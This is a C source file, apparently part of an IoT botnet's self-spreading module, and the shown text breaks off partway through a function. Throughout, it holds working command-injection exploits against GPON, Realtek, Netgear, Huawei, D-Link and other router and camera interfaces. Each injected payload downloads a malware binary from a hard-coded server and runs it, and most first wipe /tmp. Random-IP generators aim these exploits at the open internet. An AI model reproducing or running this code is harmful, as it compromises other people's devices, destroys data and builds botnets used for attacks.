Path: blob/master/Botnets/Self Reps/MULTI SELFREP/exploit.c
5038 views
#ifdef WICKED_EXPLOIT12#define _GNU_SOURCE34#ifdef DEBUG5#include <stdio.h>6#endif78#include <stdlib.h>9#include <stdarg.h>10#include <stdio.h>11#include <sys/socket.h>12#include <sys/types.h>13#include <netinet/in.h>14#include <arpa/inet.h>15#include <netdb.h>16#include <signal.h>17#include <strings.h>18#include <string.h>19#include <sys/utsname.h>20#include <unistd.h>21#include <fcntl.h>22#include <errno.h>23#include <netinet/udp.h>24#include <netinet/tcp.h>25#include <sys/wait.h>26#include <sys/ioctl.h>27#include <net/if.h>2829#include "includes.h"30#include "table.h"31#include "rand.h"32#include "util.h"33#include "checksum.h"34#include "resolv.h"35#include "exploit_scan.h"3637int GPON1_Range [] = {187,189,200,201,207};38int GPON2_Range [] = {1,2,5,31,37,41,42,58,62,78,82,84,88,89,91,92,95,103,113,118,145,147,178,183,185,195,210,212};39//int NETIS_Range [] = {1,14,27,36,39,40,42,47,49,58,59,60,61,62,94,101,103,104,106,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,139,140,144,150,153,163,171,175,180,182,183,193,202,203,210,211,216,218,219,220,221,222,223};4041int exploit_pid, scanner2_pid, scanner3_pid, scanner4_pid, scanner5_pid, scanner6_pid, scanner7_pid, scanner8_pid, scanner9_pid, scanner10_pid, scanner11_pid, scanner12_pid, scanner13_pid, timeout = 100000;42static uint8_t ipState[40] = {0};43int max = 0, i = 0;4445int socket_connect_tcp(char *host, in_port_t port) // tcp socket for sending POST/GET requests46{47struct hostent *hp;48struct sockaddr_in addr;49int on = 1, sock;50struct timeval timeout;51timeout.tv_sec = 3; // 3 sec timeout on socket52timeout.tv_usec = 0;53if ((hp = gethostbyname(host)) == NULL) return 0;54bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);55addr.sin_port = htons(port);56addr.sin_family = AF_INET;57sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);58setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));59if (sock == -1) return 0;60if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;61return sock;62}6364int socket_connect_udp(char *host, in_port_t port) // udp socket for netis explotation65{66}6768void exploit_socket_gpon8080(unsigned char *host)69{70scanner3_pid = fork();7172if (scanner3_pid > 0 || scanner3_pid == -1)73return;7475int gpon_socket1;76char gpon_request1[1024];7778gpon_socket1 = socket_connect_tcp((char *)host, 8080);7980sprintf(gpon_request1, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://51.15.226.140/jarrygod.mips+-O+->/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0");8182if (gpon_socket1 != 0)83{84write(gpon_socket1, gpon_request1, strlen(gpon_request1));85usleep(200000);86close(gpon_socket1);87#ifdef DEBUG88printf("[gpon_8080] exploitable %s\n", host);89#endif90}91exit(0);92}9394void exploit_socket_gpon80(unsigned char *host)95{96scanner4_pid = fork();9798if (scanner4_pid > 0 || scanner4_pid == -1)99return;100101int gpon_socket2;102char gpon_request2[1024];103104gpon_socket2 = socket_connect_tcp((char *)host, 80);105106sprintf(gpon_request2, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://51.15.226.140/jarrygod.mips+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0");107108if (gpon_socket2 != 0)109{110write(gpon_socket2, gpon_request2, strlen(gpon_request2));111usleep(200000);112close(gpon_socket2);113#ifdef DEBUG114printf("[gpon_80] exploitable %s\n", host);115#endif116}117exit(0);118}119120void exploit_socket_realtek(unsigned char *host)121{122scanner5_pid = fork();123124if (scanner5_pid > 0 || scanner5_pid == -1)125return;126127int realtek_socket;128char realtek_request[1024], realtek_request2[1024];129130realtek_socket = socket_connect_tcp((char *)host, 52869);131132sprintf(realtek_request, "POST /picsdesc.xml HTTP/1.1\r\nHost: %s:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf*; wget http://209.141.42.3/jarrygod.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n", host);133sprintf(realtek_request2, "POST /picsdesc.xml HTTP/1.1\r\nHost: %s:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;chmod +x jarrygod.mips;./jarrygod.mips realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n", host);134135if (realtek_socket != 0)136{137write(realtek_socket, realtek_request, strlen(realtek_request));138sleep(5);139write(realtek_socket, realtek_request2, strlen(realtek_request2));140usleep(200000);141close(realtek_socket);142#ifdef DEBUG143printf("[realtek] exploitable %s\n", host);144#endif145}146exit(0);147}148149void exploit_socket_netgear(unsigned char *host)150{151scanner6_pid = fork();152153if (scanner6_pid > 0 || scanner6_pid == -1)154return;155156int netgear_socket, netgear_socket2;157char netgear_request[1024];158159netgear_socket = socket_connect_tcp((char *)host, 8080);160netgear_socket2 = socket_connect_tcp((char *)host, 80);161162sprintf(netgear_request, "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://51.15.226.140/jarrygod.mips+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0\r\n\r\n");163164if (netgear_socket != 0)165{166write(netgear_socket, netgear_request, strlen(netgear_request));167usleep(200000);168close(netgear_socket);169#ifdef DEBUG170printf("[netgear_8080] exploitable %s\n", host);171#endif172}173if (netgear_socket2 != 0)174{175write(netgear_socket2, netgear_request, strlen(netgear_request));176usleep(200000);177close(netgear_socket2);178#ifdef DEBUG179printf("[netgear_80] exploitable %s\n", host);180#endif181}182exit(0);183}184185void exploit_socket_huawei(unsigned char *host)186{187scanner6_pid = fork();188189if (scanner6_pid > 0 || scanner6_pid == -1)190return;191192int huawei_socket;193char huawei_request[1024];194195huawei_socket = socket_connect_tcp((char *)host, 37215);196197sprintf(huawei_request, "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nHost: %s:37215\r\nContent-Length: 601\r\nConnection: keep-alive\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 51.15.226.140 -l /tmp/huawei -r /jarrygod.mips;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>", host);198199if (huawei_socket != 0)200{201write(huawei_socket, huawei_request, strlen(huawei_request));202usleep(200000);203close(huawei_socket);204#ifdef DEBUG205printf("[huawei] exploitable %s\n", host);206#endif207}208exit(0);209}210211void exploit_socket_tr064(unsigned char *host)212{213scanner7_pid = fork();214215if (scanner7_pid > 0 || scanner7_pid == -1)216return;217218int tr064_socket, tr064_socket2;219char tr064_request[1024], tr064_request2[1024];220221tr064_socket = socket_connect_tcp((char *)host, 7574);222tr064_socket2 = socket_connect_tcp((char *)host, 5555);223224sprintf(tr064_request, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://51.15.226.140/tr064 && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>", host);225sprintf(tr064_request2, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:5555\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://51.15.226.140/tr064 && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>", host);226227if (tr064_socket != 0)228{229write(tr064_socket, tr064_request, strlen(tr064_request));230usleep(200000);231close(tr064_socket);232#ifdef DEBUG233printf("[tr064_7574] exploitable %s\n", host);234#endif235}236if (tr064_socket2 != 0)237{238write(tr064_socket2, tr064_request2, strlen(tr064_request2));239usleep(200000);240close(tr064_socket2);241#ifdef DEBUG242printf("[tr064_5555] exploitable %s\n", host);243#endif244}245exit(0);246}247248void exploit_socket_hnap(unsigned char *host)249{250scanner8_pid = fork();251252if (scanner8_pid > 0 || scanner8_pid == -1)253return;254255int hnap_socket;256char hnap_request[1024];257258hnap_socket = socket_connect_tcp((char *)host, 80);259260sprintf(hnap_request, "POST /HNAP1/ HTTP/1.0\r\nHost: %s:80\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://51.15.226.140/jarrygod.mips && chmod 777 /tmp/jarrygod.mips/ && /tmp/jarrygod.mips`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>\r\n\r\n", host);261262if (hnap_socket != 0)263{264write(hnap_socket, hnap_request, strlen(hnap_request));265usleep(200000);266close(hnap_socket);267#ifdef DEBUG268printf("[hnap] exploitable %s\n", host);269#endif270}271exit(0);272}273274void exploit_socket_crossweb(unsigned char *host)275{276scanner9_pid = fork();277278if (scanner9_pid > 0 || scanner9_pid == -1)279return;280281int crossweb_socket;282char crossweb_request[1024];283284crossweb_socket = socket_connect_tcp((char *)host, 81);285286sprintf(crossweb_request, "GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://51.15.226.140/jarrygod.arm7;sh${IFS}/tmp/jarrygod.arm7&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n");287288if (crossweb_socket != 0)289{290write(crossweb_socket, crossweb_request, strlen(crossweb_request));291usleep(200000);292close(crossweb_socket);293#ifdef DEBUG294printf("[crossweb] exploitable %s\n", host);295#endif296}297exit(0);298}299300void exploit_socket_jaws(unsigned char *host)301{302scanner10_pid = fork();303304if (scanner10_pid > 0 || scanner10_pid == -1)305return;306307int jaws_socket;308char jaws_request[1024];309310jaws_socket = socket_connect_tcp((char *)host, 80);311312sprintf(jaws_request, "GET /shell?cd+/tmp;rm+-rf+*;wget+http://51.15.226.140/jarrygod.arm7;chmod+777+jarrygod.arm7;/tmp/jarrygod.arm7+jaws HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nHost: %s:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n", host);313314if (jaws_socket != 0)315{316write(jaws_socket, jaws_request, strlen(jaws_request));317usleep(200000);318close(jaws_socket);319#ifdef DEBUG320printf("[jaws] exploitable %s\n", host);321#endif322}323exit(0);324}325326void exploit_socket_dlink(unsigned char *host)327{328scanner11_pid = fork();329330if (scanner11_pid > 0 || scanner11_pid == -1)331return;332333int dlink_socket;334char dlink_request[1024];335336dlink_socket = socket_connect_tcp((char *)host, 49152);337338sprintf(dlink_request, "POST /soap.cgi?service=WANIPConn1 HTTP/1.1\r\nHost: %s:49152\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://51.15.226.140/jarrygod.mips;/tmp/jarrygod.mips dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>\r\n\r\n", host);339340if (dlink_socket != 0)341{342write(dlink_socket, dlink_request, strlen(dlink_request));343usleep(200000);344close(dlink_socket);345#ifdef DEBUG346printf("[dlink] exploitable %s\n", host);347#endif348}349exit(0);350}351352void exploit_socket_r7064(unsigned char *host)353{354scanner12_pid = fork();355356if (scanner12_pid > 0 || scanner12_pid == -1)357return;358359int r7064_socket;360char r7064_request[1024];361362r7064_socket = socket_connect_tcp((char *)host, 8443);363364sprintf(r7064_request, "GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://51.15.226.140/jarrygod.mips;${IFS}sh${IFS}/var/tmp/jarrygod.mips");365366if (r7064_socket != 0)367{368write(r7064_socket, r7064_request, strlen(r7064_request));369usleep(200000);370close(r7064_socket);371#ifdef DEBUG372printf("[r7064] exploitable %s\n", host);373#endif374}375exit(0);376}377378void exploit_socket_vacron(unsigned char *host)379{380scanner13_pid = fork();381382if (scanner13_pid > 0 || scanner13_pid == -1)383return;384385int vacron_socket;386char vacron_request[1024];387388vacron_socket = socket_connect_tcp((char *)host, 8080);389390sprintf(vacron_request, "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://51.15.226.140/jarrygod.arm7;chmod+777+jarrygod.arm7;/tmp/jarrygod.arm7+varcron");391392if (vacron_socket != 0)393{394write(vacron_socket, vacron_request, strlen(vacron_request));395usleep(200000);396close(vacron_socket);397#ifdef DEBUG398printf("[vacron] exploitable %s\n", host);399#endif400}401exit(0);402}403404void GPON8080_IPGen()405{406char gpon_ip1[16] = {0};char gpon_ip2[16] = {0};char gpon_ip3[16] = {0};407char gpon_ip4[16] = {0};char gpon_ip5[16] = {0};char gpon_ip6[16] = {0};408409srand(time(NULL));410int gpon_range1 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range2 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range3 = rand() % (sizeof(GPON1_Range)/sizeof(char *));411int gpon_range4 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range5 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range6 = rand() % (sizeof(GPON1_Range)/sizeof(char *));412413ipState[0] = GPON1_Range[gpon_range1];ipState[4] = GPON1_Range[gpon_range2];ipState[8] = GPON1_Range[gpon_range3];414ipState[12] = GPON1_Range[gpon_range4];ipState[16] = GPON1_Range[gpon_range5];ipState[20] = GPON1_Range[gpon_range6];415ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;416ipState[9] = rand() % 255;ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[13] = rand() % 255;ipState[14] = rand() % 255;ipState[15] = rand() % 255;417ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;418419sprintf(gpon_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(gpon_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);420sprintf(gpon_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(gpon_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);421sprintf(gpon_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(gpon_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);422423exploit_socket_gpon8080(gpon_ip1);exploit_socket_gpon8080(gpon_ip2);exploit_socket_gpon8080(gpon_ip3);exploit_socket_gpon8080(gpon_ip4);exploit_socket_gpon8080(gpon_ip5);exploit_socket_gpon8080(gpon_ip6);424}425426void GPON80_IPGen()427{428char gpon2_ip1[16] = {0};char gpon2_ip2[16] = {0};char gpon2_ip3[16] = {0};429char gpon2_ip4[16] = {0};char gpon2_ip5[16] = {0};char gpon2_ip6[16] = {0};430431srand(time(NULL));432int gpon2_range1 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range2 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range3 = rand() % (sizeof(GPON2_Range)/sizeof(char *));433int gpon2_range4 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range5 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range6 = rand() % (sizeof(GPON2_Range)/sizeof(char *));434435ipState[0] = GPON2_Range[gpon2_range1];ipState[4] = GPON2_Range[gpon2_range2];ipState[8] = GPON2_Range[gpon2_range3];436ipState[12] = GPON2_Range[gpon2_range4];ipState[16] = GPON2_Range[gpon2_range5];ipState[20] = GPON2_Range[gpon2_range6];437ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;438ipState[9] = rand() % 255;ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[13] = rand() % 255;ipState[14] = rand() % 255;ipState[15] = rand() % 255;439ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;440441sprintf(gpon2_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(gpon2_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);442sprintf(gpon2_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(gpon2_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);443sprintf(gpon2_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(gpon2_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);444445exploit_socket_gpon80(gpon2_ip1);exploit_socket_gpon80(gpon2_ip2);exploit_socket_gpon80(gpon2_ip3);exploit_socket_gpon80(gpon2_ip4);exploit_socket_gpon80(gpon2_ip5);exploit_socket_gpon80(gpon2_ip6);446}447448void REALTEK_IPGen()449{450char realtek_ip1[16] = {0};char realtek_ip2[16] = {0};char realtek_ip3[16] = {0};char realtek_ip4[16] = {0};char realtek_ip5[16] = {0};451char realtek_ip6[16] = {0};char realtek_ip7[16] = {0};char realtek_ip8[16] = {0};char realtek_ip9[16] = {0};char realtek_ip10[16] = {0};452453srand(time(NULL));454ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;455ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;456ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;457ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;458ipState[20] = rand() % 233;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;ipState[24] = rand() % 233;459ipState[25] = rand() % 255;ipState[26] = rand() % 255;ipState[27] = rand() % 255;ipState[28] = rand() % 233;ipState[29] = rand() % 255;460ipState[30] = rand() % 255;ipState[31] = rand() % 255;ipState[32] = rand() % 233;ipState[33] = rand() % 255;ipState[34] = rand() % 255;461ipState[35] = rand() % 255;ipState[36] = rand() % 233;ipState[37] = rand() % 255;ipState[38] = rand() % 255;ipState[39] = rand() % 255;462463sprintf(realtek_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(realtek_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);464sprintf(realtek_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(realtek_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);465sprintf(realtek_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(realtek_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);466sprintf(realtek_ip7, "%d.%d.%d.%d", ipState[24], ipState[25], ipState[26], ipState[27]);sprintf(realtek_ip8, "%d.%d.%d.%d", ipState[28], ipState[29], ipState[30], ipState[31]);467sprintf(realtek_ip9, "%d.%d.%d.%d", ipState[32], ipState[33], ipState[34], ipState[35]);sprintf(realtek_ip10, "%d.%d.%d.%d", ipState[36], ipState[37], ipState[38], ipState[39]);468469exploit_socket_realtek(realtek_ip1);exploit_socket_realtek(realtek_ip2);exploit_socket_realtek(realtek_ip3);exploit_socket_realtek(realtek_ip4);exploit_socket_realtek(realtek_ip5);470exploit_socket_realtek(realtek_ip6);exploit_socket_realtek(realtek_ip7);exploit_socket_realtek(realtek_ip8);exploit_socket_realtek(realtek_ip9);exploit_socket_realtek(realtek_ip10);471}472473void NETGEAR_IPGen()474{475char netgear_ip1[16] = {0};char netgear_ip2[16] = {0};char netgear_ip3[16] = {0};char netgear_ip4[16] = {0};char netgear_ip5[16] = {0};476char netgear_ip6[16] = {0};char netgear_ip7[16] = {0};char netgear_ip8[16] = {0};char netgear_ip9[16] = {0};char netgear_ip10[16] = {0};477478srand(time(NULL));479ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;480ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;481ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;482ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;483ipState[20] = rand() % 233;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;ipState[24] = rand() % 233;484ipState[25] = rand() % 255;ipState[26] = rand() % 255;ipState[27] = rand() % 255;ipState[28] = rand() % 233;ipState[29] = rand() % 255;485ipState[30] = rand() % 255;ipState[31] = rand() % 255;ipState[32] = rand() % 233;ipState[33] = rand() % 255;ipState[34] = rand() % 255;486ipState[35] = rand() % 255;ipState[36] = rand() % 233;ipState[37] = rand() % 255;ipState[38] = rand() % 255;ipState[39] = rand() % 255;487488sprintf(netgear_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(netgear_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);489sprintf(netgear_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(netgear_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);490sprintf(netgear_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(netgear_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);491sprintf(netgear_ip7, "%d.%d.%d.%d", ipState[24], ipState[25], ipState[26], ipState[27]);sprintf(netgear_ip8, "%d.%d.%d.%d", ipState[28], ipState[29], ipState[30], ipState[31]);492sprintf(netgear_ip9, "%d.%d.%d.%d", ipState[32], ipState[33], ipState[34], ipState[35]);sprintf(netgear_ip10, "%d.%d.%d.%d", ipState[36], ipState[37], ipState[38], ipState[39]);493494exploit_socket_netgear(netgear_ip1);exploit_socket_netgear(netgear_ip2);exploit_socket_netgear(netgear_ip3);exploit_socket_netgear(netgear_ip4);exploit_socket_netgear(netgear_ip5);495exploit_socket_netgear(netgear_ip6);exploit_socket_netgear(netgear_ip7);exploit_socket_netgear(netgear_ip8);exploit_socket_netgear(netgear_ip9);exploit_socket_netgear(netgear_ip10);496}497498void HUAWEI_IPGen()499{500char huawei_ip1[16] = {0};char huawei_ip2[16] = {0};char huawei_ip3[16] = {0};char huawei_ip4[16] = {0};char huawei_ip5[16] = {0};501502srand(time(NULL));503ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;504ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;505ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;506ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;507508sprintf(huawei_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(huawei_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);509sprintf(huawei_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(huawei_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);510sprintf(huawei_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], 